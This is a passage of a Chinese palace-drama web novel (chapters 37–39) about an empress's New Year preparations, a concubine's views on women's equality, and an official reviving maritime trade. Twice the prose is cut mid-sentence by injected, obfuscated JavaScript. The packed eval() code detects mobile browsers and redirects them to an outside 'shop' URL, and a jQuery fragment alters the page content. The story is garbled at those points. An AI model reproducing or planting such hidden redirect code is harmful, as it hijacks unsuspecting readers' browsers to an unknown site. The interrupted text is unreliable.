她眼睛里有些悲戚,但兴许只是音儿的错觉。她还是在那个壳子里,就算她带着端木玦把御花园里的花都拔了做成花冠或者炒菜吃了,她也还是在那个壳子里。纵然有时她笑得快忘了形,眼睛都眯成一条缝,可她的笑却还是像一片薄瓷,精致又易碎。 “就这样罢。” “娘娘,陛下昨夜去了俞才人的静姝阁。”小年夜次日晨起,坤宁殿上上下下都忙碌着除尘打扫,端木玦也拿了个小拂尘跟在薛德保身后四处扫扫灰尘,忙活得不亦乐乎。 “是好事啊。”师冉月笑道,“这么说,俞才人便是新人里第一个侍寝的了。” “可不是,新人入宫都半年多了,陛下这才开始临幸,也是叫人摸不着头脑。”啼樱原本在师冉月身旁扎着灯笼,往红纸上描着图样,却手不稳总是描歪,无奈接过木莲的活计搓起红绒绳来。 过了这个年师冉月便要将啼樱“发配”回师家,托付端木萌给她相看个好人家嫁出去,“你一直留在宫里做不过是嫁给宫中侍卫,那便一辈子都跟这宫城脱不开关系了。”师冉月已给她备好了嫁妆,比寻常小门小户的人家嫁女还要丰厚好些,她也不再反驳,只是这些日子总是黏着师冉月或是音儿做事。音儿被她缠得烦了,忍不住直骂她“活像块狗皮膏药”。 啼樱对此撇撇嘴:“音儿姐姐当了娘人都变凶了。” 师冉月看戏笑道:“这与当不当娘有什么关系?你音儿姐姐早就想骂你了,这是怕以后想骂你还得折腾出宫到你家里去,怪麻烦的。” 音儿正在一旁发着愣。坤宁殿上下包括啼樱,甚至包括师冉月自己,似乎都早就默认了师冉月是端木玄的皇后,而不是端木玄的妻,因此说起师冉月暗中托举俞安乐获宠一事,竟是这样的理所当然。 自从烟水那日夜访坤宁殿后,音儿便总是想起旧时尚在师家——阳曲侯是师道旷的时候的那个师家,又或者在逢州的时候,她晓得师冉月哪怕面上再无所谓再绝情,却仍是有些盼望着那些“一生一世一双人”、“执子之手与子偕老”的戏份降临在自己身上的——满京城未出阁的少女有几个不怀着这样的希冀呢?因而,这份情思无论是挂在缥缈的少年奇遇的端木凛身上,又或是后来,与端木玄为夫妻时似是知己般默契的那些瞬间里,她在一旁看着,晓得自己家姑娘的心还是在“跳动”的。可是—— “音儿姐姐?” “哦......哦,无事——你这线也描不好,红绳也搓不利索,不如还是去厨房为娘娘做碗莲子桂花羹来罢。” “好罢好罢。” 音儿看了眼师冉月,便顺着方才的话题又说回俞才人的事来。小年夜宫中众人齐聚宴饮,俞安乐穿着一袭雀蓝洒金的衣裙跳了一首清平乐,妖而不媚,端庄又娇俏,似是盛世里一朵盛开的清妍的鸢尾花,在场众人无不惊叹,夺了端木玄的目光去也是必然。 “陛下开了这个口子,日后宠幸新人便也是顺理成章的了。俞才人出身也合宜,不会太惹人猜测,也不会有人能轻易攀附。我唯一有些担心的不过是这孩子瞧上去心性还太小,连跳舞都没有一分一毫像是要邀宠的样子,全然是展示自己舞姿的骄傲大方,如今得了宠幸,不知道她应不应付的过来。” 音儿也笑着应道:“是呢,素日里瞧着俞才人面对娘娘倒比面对陛下还害羞。” 披了大氅走到屋外,看着一众宫人忙忙碌碌打扫布置,一个个窗花贴起、灯笼挂起,虽然都与素日见惯了的红墙一个颜色,却不知为何就是平添了新年将至的喜悦氛围。站在台阶上往远看去,浅胧的天色也变得渺远,似乎视线也跟着变好了起来。 “母后——母后,”端木城又是一阵风似的冲进坤宁殿,玄色披风像一匹有着油亮黑鬃毛的骏马远远飘在身后。 “又没人追你,别这么着急,当心摔了。”师冉月又是气又是笑,再过两年端木城依国朝惯例就该搬出后宫自己住了,每每想起此事,师冉月也就更惯着他些。“说罢,又要做什么?” 端木城停下脚步憨憨笑笑,“御花园的腊梅开了,儿臣来邀母后和二弟同赏。” “是么,这宫里的腊梅倒不是年年都开的,本宫上次见到大概已经是承祐六年还是七年的时候了。”师冉月也来了兴趣,立时便叫吴怀安和合月领上端木玦一同跟着端木城往御花园走。 一路上端木城亲自领着端木玦,叽叽喳喳地与师冉月说着话,渐渐也就并肩而行。师冉月本也不在乎这些虚礼,早先吴怀安等人还想着提醒,后来音儿私下与众人说了,众人便了然,只要没有外人在时也都放松下来,倒使得坤宁殿上下比一开始和乐不少。 端木城这二年长得颇快,师冉月总觉得他也是才到自己手肘处的孩子,一恍竟比她的肩膀还高一些了,比起长他三岁的师焕也没差多少,心下想着大概还是习武更有利于长个儿,但她自己又是个反面例子,她算是跟着几个兄长学了些骑射的,但却比师吟月矮上半个头。 这般想着,端木城在耳边的话也是听一半扔一半,又突然想起好像有些日子没太见着林绵了,便找了个话缝出口问道:“城儿,你母妃呢?” “母妃忙着织福袋祈福呢。她对御花园里这些花可是上心,一直叫人留意着,昨夜里腊梅刚开,母妃就着人去折了几枝插起来放在窗前,儿臣今早去找她时闻见满室花香,才晓得是腊梅开了。” 师冉月无奈笑了笑。林绵少时原是最稳重的一个,走到哪儿都像是会开解庇佑旁人的长姊,在岳府时穿的朴素,妆容也不起眼,行事更是低调,自然也不会跟着像师冉月官和言这一帮人成日里“不像个姑娘家”般到处寻乐。如今入了这宫规森严的红墙内做起贵妃来,竟没觉得一点拘束,倒是比后来在王府时的师冉月还会找乐子了。 正说着,一行人已到了御花园的梅林前。梅花香气裹挟着一点冰凉的味道扑面而来,再好的熏香也不及此间半分。皇宫里这十几棵梅树已经有快一百年的岁数了,穆宗时移走了当中几棵半死不活的,修建了一座回廊,但没为之题匾,宫里人便只称它为“梅廊”或是“赏梅廊”,像端木萌等人则干脆称之“梅园那个廊子”。虽然没个正经名字,但远远看去回廊飞檐斗拱古朴典雅,隐匿在朵朵开放的腊梅之中,虽是人工造就,但也很有一番看头了。 正欲走近,回廊旁响起“簇簇”的衣衫摩擦声,不多时里面走出几个人来,师冉月定睛分辨,原是赵玉熹和蒋纹等人。 二人疾走几步到师冉月身前躬身行礼。蒋纹笑道:“妾二人背身对着娘娘,听见声响回头分辨才知是娘娘来了,有失礼处还请娘娘莫怪。”又一并给端木城与端木玦见礼。 师冉月本就是一时兴起,便装而至,随和笑道:“本宫又没着人通报,这有什么。”又回头对端木城道:“你带着弟弟到一旁玩吧,本宫与二位才人在廊中说说话。” 吴怀安等即刻叫人搬来桌椅于避风处对着梅林摆好,又拿来挡风的蒲帘远远围着,当中笼上炭火,既不遮挡视线又暖和。三人依次落座,又有人奉上热茶来。 “平日里倒不常见二位出来,这宫里虽不大敞亮,但如这梅花般有些趣味的景致还是不少的,大可多出来走走,免得在阁中憋闷坏了。” 蒋纹笑道:“多谢娘娘关心。只是平日里妾与赵姐姐总怕碰上人。我们两个都不大会说话,万一得罪了旁人便不好了,便也只好在自己阁中闲聊解闷了。”她有一双略显狭长的丹凤眼,皮肤比常人还要白皙几分,又是椭圆的脸型,瞧上去与画中仕女别无二致。她又喜欢穿些月白、浅青和鸭蛋青等素净的浅色衣衫,整个人便如一块出水白玉清澈无暇。 与之相比,一旁的赵玉熹五官即是浓墨重彩的类型,立体而标致,挽起头发便像是英姿飒爽的女将军,如今梳着偏低的发髻,带着青玉发钗,端庄雍容大气非常,竟不似是只有十几岁的少女了。只是与其说她似蒋纹一般性格腼腆,倒不如说有些冷淡,像是高山上永久不化的冻雪无法捂暖。 音儿曾说“赵才人的性子有些像岳太夫人”,师冉月却觉得二人还是有几分不同。岳诗韫似是深山老林里一棵独自生长千年的老柳,或是无人居住的桃花源里静静流淌的一泓溪水,若是有人前去招惹,这溪水也可改道叮咚,与人同乐一会儿,也会随着四季变换或冷或暖。这会儿听着蒋纹与师冉月搭话,她也只是嘴角带着淡淡的笑意,不作言语。 师冉月面对这样的人总有几分固执,想让所有人都与她交心,或是所有人在她面前都如同透明可堪掌握。更何况她如今身居上位,便更没有放着赵玉熹孤零零直愣愣一块寒冰杵在那里的理由。 “不知你们聊些什么,可否叫我也听听?” 蒋纹愣了愣,道:“也不过是......妾和赵姐姐家乡的风土人情。慕州的事娘娘也都熟悉,豫州......”她看了看赵玉熹的神色,有些踌躇。 师冉月也不急,只状似随意道:“我离开慕州也一年多了,倒是想念孙家铺子的糯米糕和城西的酱面了。那酱面的浇头我自己试着按配方做过几次,却总不是那个味道。” 蒋纹欣然点头道:“的确,城西那家酱面的确独一无二,妾少时偶尔瞒着父母出府,吃一碗酱面,再在旁边福满楼听一出戏,就觉得是人间难得的快乐了。” “福满楼的戏的确可以说是慕州第一了,只是听说今年春天扮隐娘的角儿因病去世了,实在可惜。” “的确,就在妾离开慕州前几日。不过他最得意的角色倒还不是隐娘,而是福满楼依照《氓》和《古诗为焦仲卿妻作》新编的一个戏中的旦角。不过大家看这出戏似乎都是奔着故事去的,到不在乎是谁来演了。”蒋纹回忆道,“这两首是《诗经》和乐府诗中的经典了,凡是有些学问的人都耳熟能详,因此当初新戏演出的布告刚一张贴出来,因着这两首诗的噱头,便吸引了不少人去看。不过依妾之见那戏不过是把两首诗简单拼凑罢了,讲的是一个女子在集市上邂逅了卖布的商人,芳心暗许,商人也有意,一来二去便私定终身,那女子不顾家人劝阻执意要嫁给男子,婚后却惨遭冷落、婆母厌弃,不久又绝婚归家,又被家人抱怨,而太守之子却在此时向这女子提亲,女子家人贪慕太守权势促成了这桩婚事,然而成亲当日那前夫又寻过来,在婚礼上痛哭流涕悔过不已,那女子因此被宾客挑剔讲究,不堪受辱,成亲当晚便上吊了。” “《古诗为焦仲卿妻作》好歹焦仲卿亦自缢死了,这戏闹到最后竟就夺了这女子一人性命,不只是哪个人臆想出来博人眼球的东西。”赵玉熹一直默默听着,此时却忍不住冷笑出声,出言嘲讽。 蒋纹道:“原先刘兰芝本是殉情而死,如今改做不堪流言蜚语而上吊......不过是戏班为了吸引人乱改的罢了。” 赵玉熹却又道:“殉情而死难道就值得称颂了么?刘兰芝通身的才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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师冉月却拍了拍她的手起身道:“罢了,本宫今日有些乏了。这梅也赏了,各宫还得忙着新年诸多杂事,二位才人也早回罢,莫要冻坏了身子。”又叫吴怀安带上端木城和端木玦一并离开。 众人纷纷起身行礼,送师冉月走远。看着那身影消失在视野里,蒋纹紧张地挽住赵玉熹的手臂道:“姐姐,那些话你我在自己阁中悄悄说一说也就罢了,怎好拿到皇后娘娘跟前说?她会不会怪罪啊......” 赵玉熹却冷静至极,任由蒋纹别扭着一直挽着自己的手,和她一同往回慢慢走,只道:“我觉得她不会。” “你怎么这么笃定,除了请那么几次安,这可是你头一回和她说话吧?” “放心好了,她是皇后,若想怪罪方才就怪罪下来了。何况大家都是女子,我又没把这话拿到陛下面前说。”赵玉熹垂着鸦羽般的双睫,眼神定格在自己脚上穿的那一双绣着精美苏绣的淡藕荷色鞋子,悲叹般道:“何况我又没有说错。” 蒋纹慢慢放松了手臂,忍不住在心里轻叹。赵家是武将出身,赵玉熹的父祖兄弟无一不自小习武,与那些为着玩乐出风头学习骑射的世族子弟自是不同。赵家家风也严,这家风使得家中子弟勤勉操练,各个都是有朝一日可以为国戍守边疆甚或开疆扩土的将才,却也使得枪法比同辈兄弟还要精妙、骑在马上可以足足八个时辰不觉疲惫的赵玉熹仅仅因为身为女子就在十二岁的时候被关在闺中学女红、背《女戒》。 当初听得赵玉熹这段往事时,蒋纹总忍不住想起戏里面平阳昭公主的故事,忍不住也替她惋惜慨叹。然而她自己虽也是女子,可自小除了穿小厮服饰方便溜出去看戏以外并没有觉得自己的女子身份给自己带来了什么限制,所以只觉自己不能感同身受。 赵玉熹叹道:“你就未曾想过,为什么你的兄长弟弟们可以光明正大走出门去看戏,你却得穿着小厮服饰才能溜出去?” “那是因为......其实我哥哥们也不能出去看戏,在我家没有我爹娘允许自己去看戏就是不行啊。” “那......你为什么不穿丫鬟的衣服,却要穿小厮的衣服?” “丫鬟的裙子不好翻墙啊,而且万一看戏的时候遇上个不怀好意的就遭了。” “可是为何女子就要穿裙子,不能像男子那样穿更方便的可以露在外面的裤子呢?又为什么女子出门看戏就得小心提防别人侵犯毁了那劳什子‘清白’,男子就不必担心呢?” 蒋纹小心翼翼道:“男子也有受人侵犯的,比方说那慕容冲......”却只是嗫嚅,以致于似乎身旁的赵玉熹都未曾听清。 “还有,譬如只有男子可以科举为官,女子就得遵守妇道囿于深宅内院,这也是没有道理的事。”赵玉熹继续道,“若我说,就该女子也可以抛头露面,进学、科举、为官、从军、经商、出海,或是有人就是喜欢待在内院那也无妨。男子也可以做如今女子做的事,养育子女、管理内宅、做针线活......一切都不必分出个男女来,只凭能力爱好做事。” 赵玉熹眼中满是憧憬,似乎思绪也跟着飘到不知何处,完全没注意一旁的蒋纹双手捧着茶杯完全僵住,瞪圆了眼睛努力消化方才听见的话,连恍恍惚惚回到自己阁中仍在反复琢磨,只觉得她说的有理——赵姐姐完全就是可以上战场杀敌的,定不会输了那些男子——可又不明白她是如何会有这样天马行空离经叛道的想法。 蒋纹细想来,她身边能吟诗作赋写文章的女子不在少数,因为从小也如男子般读书,不只是《女则》、《女戒》,《诗经》、《楚辞》、《左传》、《战国策》还有寻常那些儒家典籍都是读的,因此写的诗也不是那些文人口中的“闺怨诗”,她的堂妹就曾经写过一组咏史诗,还有她们未出阁前聚在一起联诗所咏风物,并不比男子见识短到哪儿去。那么这些女子因何不能参加科举、不能为官?能把家宅管理的井井有条、用人采买分毫不错、算盘用的比绣花针熟的诸如她母亲等等内宅夫人们,自然也该有些行商坐贾之才了,而那些商贾算起内宅的账来想必也是不错的。至于男子,她也不是没见过不喜欢诗书偏喜欢些女子活计的,还有戏台子上比女子还娇俏的旦角,也不该被那些自诩“五大三粗”“男子气概”之人嘲笑...... “只是皇后娘娘会不会明白赵姐姐所想的......会不会事后降罪呢?” 38. 第 38 章 回坤宁殿的一路上师冉月都有些思绪不宁。 端木玦显然没有玩够,吵着闹着要和端木城一起,师冉月也没细想,恰好自己如今心烦意乱,也没精力再去照看他,便顺道打发他跟着端木城再去林绵宫里玩会儿,自己直直地回了宫中。 啼樱见到她们回来,又兴奋地像只不怕冻的雀儿缠了上去,却还没走到她们身前便被师冉月的脸色一唬,把话都憋回了肚子里,只敢跟在音儿身后眼神询问。 音儿扶着师冉月进殿,一边沉默着替她更衣,一边思索着如何唤回她的神志,只待把手炉塞到她手中,木莲也端着茉莉蜜茶和热腾腾的红豆乳糕上来,才试着道:“娘娘,徐昭仪那边又送了窗花来,啼樱已经带人贴上了,这过年的感觉一下子就有了——” 师冉月慢慢喝了几口茶,叉了一块乳糕在手,四下打量了一番,微微笑道:“倒是。替我谢过徐昭仪。” 音儿打量着她似乎也无大碍,松了半口气。她再过两日就要经特许出宫过年,过了十五才回来,只恐她不在的这段时间师冉月出什么岔子。 正要抽身去瞧瞧别处忙得如何了,师冉月却冷不丁悠悠道:“音儿,你觉得......赵才人的话如何?” 音儿回头讪讪笑道:“也许是赵才人听蒋才人说的那处戏太入迷了罢?” 师冉月却示意吴怀安拿来名碟,仔细查阅,道:“赵氏一族是武将出身,我观赵才人身形气质,也像是自小习武的,兴许因为她自身际遇有感而发才是真。”将名碟归拢整齐交给吴怀安放回去,又道:“若是一个有将领之才的人没能从军反而因为家族等等原因入宫做了妃嫔,的确是憾事。然而我想,她能有机会习武、读书,能有这一番思想见解,原还是因为她的出身家世。今日她是对着我与蒋才人这样的人说,若是对着衣不蔽体食不果腹之人,或是田间地头终日劳作的那些妇女,想必就是她说了也不能明白是什么意思,兴许还要当作是她得了疯病,或是不知满足了。” 再何况,师冉月在心中默默思忖,这世上还有无数奴籍贱籍之人,连男男女女各自之间也尚不平等,甚至连性命都不能把握在自己手中,比起男女之间的不公,兴许这才更令人惋惜一些罢。 然而她自小也是受人伺候侍奉长大的,虽说师家甚少有打骂虐待下人的,师道旷和唐烨也素来教导子女要自己能自力更生,不能事事等别人侍奉到跟前,然而若要她设想没有水杏、音儿这些人在跟前是什么模样,她也觉得无法想象。 音儿道:“可是赵才人所言之事,古往今来几千年都是如此,男耕女织、男主外女主内,祖祖辈辈都是这样,难道就不对么?” “男耕女织是因为相对来讲男子力气大,更擅长耕,而女子心灵手巧,更善于织,这是商公变法改千耦其耘作小农后为了使每户人家能自给自足甚至温饱有余提倡的搭配,不代表女子便不能耕而男子便不能织。我们在逢州时看见的那些农人,不也有好多女子下田除草插秧,男子也有会缝补的,难道因为祖宗说了‘男耕女织’便都是不对的了吗。” 音儿似懂非懂点了点头。外面天色渐暗,已经挂好的贴了福字的火红灯笼一一亮了起来,透过窗纸也是一片朦胧而暧昧的颜色,好像可以听见年兽的吼叫就在不远处了。宫人鱼贯而入点好烛灯,师冉月恍然惊醒般起身道:“竟都这么晚了,太子还在贵妃宫中吗?” 吴怀安躬身道:“娘娘放心,合月和德保已经去接殿下回来了。” “那便好,该是用晚膳的时间了,一会儿太子回来便传膳罢。这一日耽误了,明日得早起些清点给宗族长辈的年礼才是。”师冉月皱眉叹气,又暗自庆幸端木玄今年除夕不准备宴请宗族贵眷或是百官,不然还有得忙。正说着想着,便听见外面一阵闹哄哄的声响,其中端木玦的声音格外突出。师冉月披了大氅迎出去,却见将端木玦接回来的不只有薛德保和合月等坤宁殿的人,还有近黛。 近黛微笑着走近向她行礼,道:“属下去凤宁阁回来时,恰好碰上薛公公带着殿下从辰阳殿出来,便一同将殿下送回来,也给娘娘请个安。” 师冉月被端木玦拉着手,挑眉道:“陛下今晚要去凤宁阁?” “是。今早陛下在朝堂上被孙尚书缠得不行,下朝后突发奇想召了孙才人去清和殿,后来发生了什么属下就不知道了。”近黛笑道。 “本宫知道了。音儿,送一送近黛。” “是。” “皇后娘娘叫你来送我是想问孙尚书为何缠着陛下罢?”出了坤宁殿,近黛看着音儿摇头笑叹:“这两个真都不是省心的主儿,罢了,你就告诉娘娘,孙尚书是为了前朝的事,和师太傅无关,与孙才人也无关,只是他太过胡搅蛮缠了些。” 音儿也只笑道:“妹妹说笑了,你我自王府相识,情谊自然不比旁人,又怎么不能来送一送你了。” 近黛却没有接下她的话,只问道:“娘娘这般在意,心中几分是前朝,几分是陛下,旁人看不出,音儿姐姐总该晓得罢?” 音儿却未动声色,只与她继续往清和殿走,道:“主子的心思,你我怎好揣测呢?” 近黛看着她,无奈妥协,笑道:“你呀,真是蔫坏。” 音儿只笑不语。 这般又送了几步,一番客套,便也作罢。 回了坤宁殿,面对师冉月问询的眼神,音儿只无奈道:“娘娘晓得近黛,什么话都说尽了偏又一点口风不漏,她能说与师家无关已是不易了。” “罢了,你也快用膳罢,前朝的事我本也不该多问。快要过年,家里头也忙得要死,不然我就把云姝叫进宫了。” 端木萌如今的确成日里像个陀螺一样团团转得想要发疯。 她不明白为何从前看着唐烨和萧晨做同样的事时看起来那么轻松,在人前永远体面端庄,是人人敬仰的京城里最豪门显贵的阳曲侯夫人。那绝不是有她们几个帮忙的原因,因为现在的她也有张雁和好久不肯“出山”的端木婉的帮忙,却仍然觉得疲惫至极,何况当时更年轻的她们恐怕还会帮倒忙,倒添罗乱。 如今师家已修缮完毕,花草也都精致地长在各自的位置上,可连看着满府新年喜气洋洋的布置她却没有一点兴奋的感觉,只是看着各处布置没有出乱子才能松一口气。 “我宁愿和小六互换。”忙完一日的事时夜已深,端木萌看着留容轩的陈设,只能想到白日里哪里摆的是账本哪里见了庄子的管家仆妇,想要出去走走,可已经到了旁人都睡下的时辰,只好到岁苍斋去碰碰运气。 果然,岳诗韫仍未睡下。 如今她两鬓已然漫生白发,眼角也生了好几道皱纹,连声音都有些苍老了,却在这冬夜里仍旧精神矍铄地挽着袖子写字,枯瘦却有力的小臂暴露在微凉的空气里,手腕的筋随着笔画延展缓缓动着,像苍鹰的爪子戏弄着渺小的猎物。 端木萌也不在乎她有没有听、回不回话,只继续道:“宫中的女官宦官都各司其职,做皇后只要统率六宫就好了,偶尔应付一下内外命妇,孝敬一下宗族里的长辈给天下人看。哪里像做这宅子里的宗妇,应酬交际人情往来,人人都巴结又人人都忌惮,好像是块吊在笼子里的肥肉,周围一群饕鬄等着、伸着爪子来抢夺。” 萧晨如今病得越发重了,一日里甚至有四五个时辰都在昏迷,因此张雁也几乎长在了萧晨房中看顾着她的病情。端木婉虽然如今肯伸手帮忙,可整个人都有些恹恹的提不起精神,再加上几乎对谁都冷着一张脸或是似笑非笑的,也不敢叫她在人前应酬。算起来如今整个师家内宅之事全然是由端木萌支撑了,她当年养尊处优,坐着花车下降时可未曾想过会有今日。 岳诗韫写完了一篇,把笔轻轻搁在笔架上,开口的声音像苍翠的松树上抖落的雪,“你还能找我抱怨,便是比起容琯最大的好处了。” 又道:“我听说容琯似乎已经三四个月没有见过今上了。” “您怎会知道?”说完端木萌就后悔地闭了嘴。她这位姨母从来“神出鬼没”,明明足不出户却似诸葛亮般能三分天下,甚至叫她生畏。 岳诗韫却勾唇淡淡笑了,换了一张崭新洁白的生宣用镇纸慢慢铺好,竟对她解释道:“在宫中,昭献皇后的人就是我的人。这些人有一半心思侍候皇家,另一半效忠岳氏,效劳昭献、昭顷还有如今的师皇后,也算是一直效忠我。” 她提起笔在砚中来回蘸了蘸墨,又慢慢写了起来,这回是《房玄龄碑》。 端木萌拿起她放在一旁已经晾干墨迹的《九成宫醴泉铭》,听她继续道:“我这些人,似是藕丝般似有似无,不与师家的那些人一道。我也没有妄图左右什么军国大事,不过听些后宫后宅的八卦,找些乐子罢了。” 端木萌叹:“这可不像姨母。” 岳诗韫挑眉看她,笑道:“知其一而不知其二,还要怪那‘其二’了?” 说话间,岁苍斋的扫洒的老媪在窗外微微提高了些声量喊道:“太夫人、三夫人,外头下雪了,当心三夫人回去路滑。” 端木萌闻言走到门边,稍稍掀开帘子看去,果然天上正飘着一点小雪,瞧着天色也不是一片黑寂了,倒是微微有些发着灰白。那老媪颠着步子迎上来道:“哎唷,夫人当心吹着风。”又顺着她的视线看去,道:“瞧着这天色,像是有场大雪,这可不多见啊。” 端木萌轻轻叹气,呼出的气化作一团白雾飘散在零零的雪花里。 “姨母,我回去了。” 岳诗韫没有停笔,淡淡应了一声。 端木萌便将大氅系好,自己出了岁苍斋,却看见院门外师霖一个黑影像个木桩一样孤零零地立着,手里还拿了件带兜帽的披风。见她出来,师霖才疾走了两步给她用兜帽罩得严严实实。端木萌道:“既然来了怎么不进去?多冷的天,还下了雪,就这么在外面傻站着。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226153|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我怕你和姨母在抱怨我,那我进去岂不尴尬。” “怎么会?没有抱怨你。” “是吗。如果不是抱怨我,为什么这么大半夜的顶着冷风走那么远去找姨母?” “真不是抱怨你。”端木萌挽着师霖的手,却被师霖一把抓过来用自己手掌残留的一点温度去捂着她的,可惜他也在外面站了很久,虽然缩在宽大的袍袖里,可指尖已然被冻红了。端木萌忍不住笑起来。师霖道:“忘了带手炉出来,就请公主殿下将就将就罢。” 端木萌红着脸笑着捶他,却又撇撇嘴故意道:“现在我可是长公主了。” “好好好,那就请长公主殿下将就将就罢。” “这几日真是有劳景兄和夫人帮在下打点,蒋某感激不尽。”蒋节一脸诚挚,躬身相谢。 “哎,与其谢我,蒋君不如去谢京城的师太傅。我也是得了他的信才敢向大家保举你啊。”景宗朝摆手道。 大道五年时,接替师晟任逢州太守的荆预调职回京任中书舍人,原逢州通判景宗朝则升任为逢州太守,就地任职。复景元年三年任期满,由师霖向端木玄推荐调任泉郡太守,又特意修书一封,请他协助蒋节市舶司革新与海外通商一事,原先与景宗朝共事的逢州通判迟平义则继任逢州太守。 泉郡自海上贸易兴起时便是沿海重要港口,前朝朝廷大力支持官民出海通商,特设中书直领市舶司管理对东洋和南洋等商贸等事,为了方便,便将市舶司直接设在泉郡。因此泉郡太守府等除了要管理其他与州郡相同的事务,还多了协助市舶司检查藩货、征榷、抽解以及协调乡绅民众与停留或暂居在泉郡的藩商及其家属日常相处等事务,说小也小,毕竟这些事务主要是市舶司负责,郡府不过是有协助之职,但说大也大,毕竟若有嫌隙处理不好,便容易上升到两国相交的问题。何况寻常百姓大多只知郡府,而不太了解市舶司是做什么用的,因此太守通判等从同级州府调职泉郡,虽品级不变,但实为升迁了。 前些年一直半闭海关,市舶司也跟着名存实亡,如今要重新开关开市,蒋节又年轻,且不是沿海等地出身,与泉郡及周边地方的世族和乡绅以及商贾大户打交道就是个难题。虽说他能言会道,但不能叫人一下子看见既得利益,对于那些坐地守家老奸巨猾的商人和政客来讲便谈不上信服,这关头有一个背后是逢州师家和归县晏家的沉州人景宗朝来替他稍加打点,事情就变得容易多了。 恰好赶上过年,蒋节一个单身汉恨不得成天睡在市舶司,自己租了一个一进的小院存放行李,自然不好宴客。景宗朝便在自己家设宴,遍请泉郡甚至旁边池州、逢州等地的世族、乡绅、大商以及郡府和市舶司的一众官员前来做客,将蒋节与那些人一一介绍引荐。其夫人晏梅兮也从人品相貌等在夫人之间将蒋节从上到下夸赞了一番,差点便要开始为他介绍起姻缘来了。 不过蒋节虽然算不上什么俊俏的后生,但也是端正的长相,再加上年轻有为,因此的确有些人家有招婿之意。 “蒋大人当真不想娶亲吗,若是有此意,我可代为介绍呢。”晏梅兮笑道。 蒋节脸红结巴道:“不,不用了,蒋某暂时还没有娶亲的打算,多谢夫人好意。” 景宗朝却也笑道:“不过依你的年纪也该娶亲了,你只年轻我两岁而已,年纪再大些,就算你位列三公了也没有好人家的姑娘愿意嫁给你了。你呀莫要拿市舶司事忙来推脱,娶个亲的时间还是有的。何况若能得一贤妻帮你打理家中,反倒能助你更加顺遂。” “是呀是呀,若能得一有力的岳丈,对你也是大有助力的。” 面对这夫妻二人轮番劝说,蒋节知其好意,只好含糊着道谢并找理由先行告辞。他幼年丧父,母亲改嫁,自幼由慕州的祖父祖母抚养长大,前些年祖父母一一逝世,便没人替他张罗此事,加上端木玄逼宫等事堆在一起,实在叫他无心家事了。 如今他面对些年轻姑娘倒也没有什么心思,只想着将端木玄交代他的事做好,好使沿海经济繁荣,民富国强。比起家中温香暖玉,他倒是更想看见海面上千帆往来,络绎不绝。 送他走远,景宗朝回到家中,轻轻替指挥着下人收拾完残局的夫人按着肩。晏梅兮睁眼道:“老爷,你觉得市舶司一事会如何?” “难。”景宗朝叹道,“重新开关恢复贸易,不是一纸诏书能决定的事。没有国库支持、官兵护卫,谁能保证让内外商人往来会出什么乱子,又会不会有人钻空子祸乱民本。” “我想的倒不是这些。”晏梅兮道,“如今国家不止缺钱,也缺粮,若是叫人发现从商之利,恐怕会有无数农人弃农从商,那粮食就会更加欠缺了。” “所以此事难。不止此事,所有变革之事都是牵一发而动全身,若是变革轻而易举且人人获利,那历朝历代变法也不会那么困难了。蒋节这条路,就算能走下去,也必然举步维艰。” 39. 第 39 章 复景二年的春天像燕子掠过湖面时尾羽的弧度一样平静自然。 御花园的梅花尚未完全凋谢,迎春就先开了起来。起初只是星星点点的鹅黄点在枝头,没人注意着便成了一大片。山桃花与樱花紧随其后,霎那间便是一片芳菲,却又开了不到七日便逐一凋零,留下满地落红混着泥土成了养料,几场淅淅沥沥的春雨过后,便完全渗入泥土不见了踪影,替换上破土而出的丛丛绿茵。枝头的嫩芽也冒了出来,完全是新生的、满是春风和露水气味的崭新颜色,夹在其中未谢的一两朵更添了颜色,看得人欣喜。 嫩生生的一切色彩之下,几棵老松耸然苍绿的常青老枝就成了底色。不过这底色上也在孕育着新生:老松的枝头也长出嫩绿的能掐出水来的新的松叶,像是年迈慈祥的母亲在托举照料着幼小的婴孩。 荷花还早,水中的绿萍先浮了上来,湖里一对鸳鸯和几只野鸭羽毛鲜亮,橘赤的脚蹼隐匿在春水中波动起涟漪,呼扇呼扇出一圈圈水波,绕着垂柳探进水中的枝梢转起来。 宫中比去年热闹,年轻又有些懵懂的女子衣裙翩然,轻声的笑语没入雏鸟的叽喳声中,身影也不经意间融入这小小一方人造出来的山水,仿佛挂在墙上雅致又刻薄的仕女图。 新选秀入宫的几人都承了雨露,其中最得宠的却不是头一个侍寝的俞安乐,而是江映和孙姝妙。 “陛下前两日与我说,有意晋一晋江才人和孙才人的位分。”师冉月道。 林绵放下手中的桃花花枝,道:“新人进宫未满一年,只是承了些恩宠,又没有子嗣,此时晋位会不会太早了些,前朝大概也会有争议。” “他也就是一提,不太认真。听说孙才人有些急功近利,他又一时不想给她子嗣,稍微晋晋位分也无可厚非。”师冉月利落地修剪着芍药花枝,没一会儿几朵半开的玫红、樱粉的芍药就错落地盛开在陶土圆罐里。 林绵叹了叹气,无奈笑道:“这宫里的日子还长着呢。现在有些兴头也好,免得过几年兴致缺缺,二十几岁就像是七老八十行动不便的老妇一样了。”她只稍稍修建掉了一些歪枝,便将那盛开了满满一枝头的桃花花枝插在了瓷瓶中。 师冉月看见促狭笑道:“姐姐这样插花可不符合‘名士’意趣了。” 林绵不屑嗤笑:“‘名士’便是要把花都给剪秃了才算完。这么开得好好的一枝花,非得只剩两三朵,又嫌不够,再找个松枝什么的嫁接在上头。‘名士’愿意折腾就折腾他的去吧,可管不着我。”说着叫来一个小宫女,叫她将自己的插花带回辰阳殿去摆好。 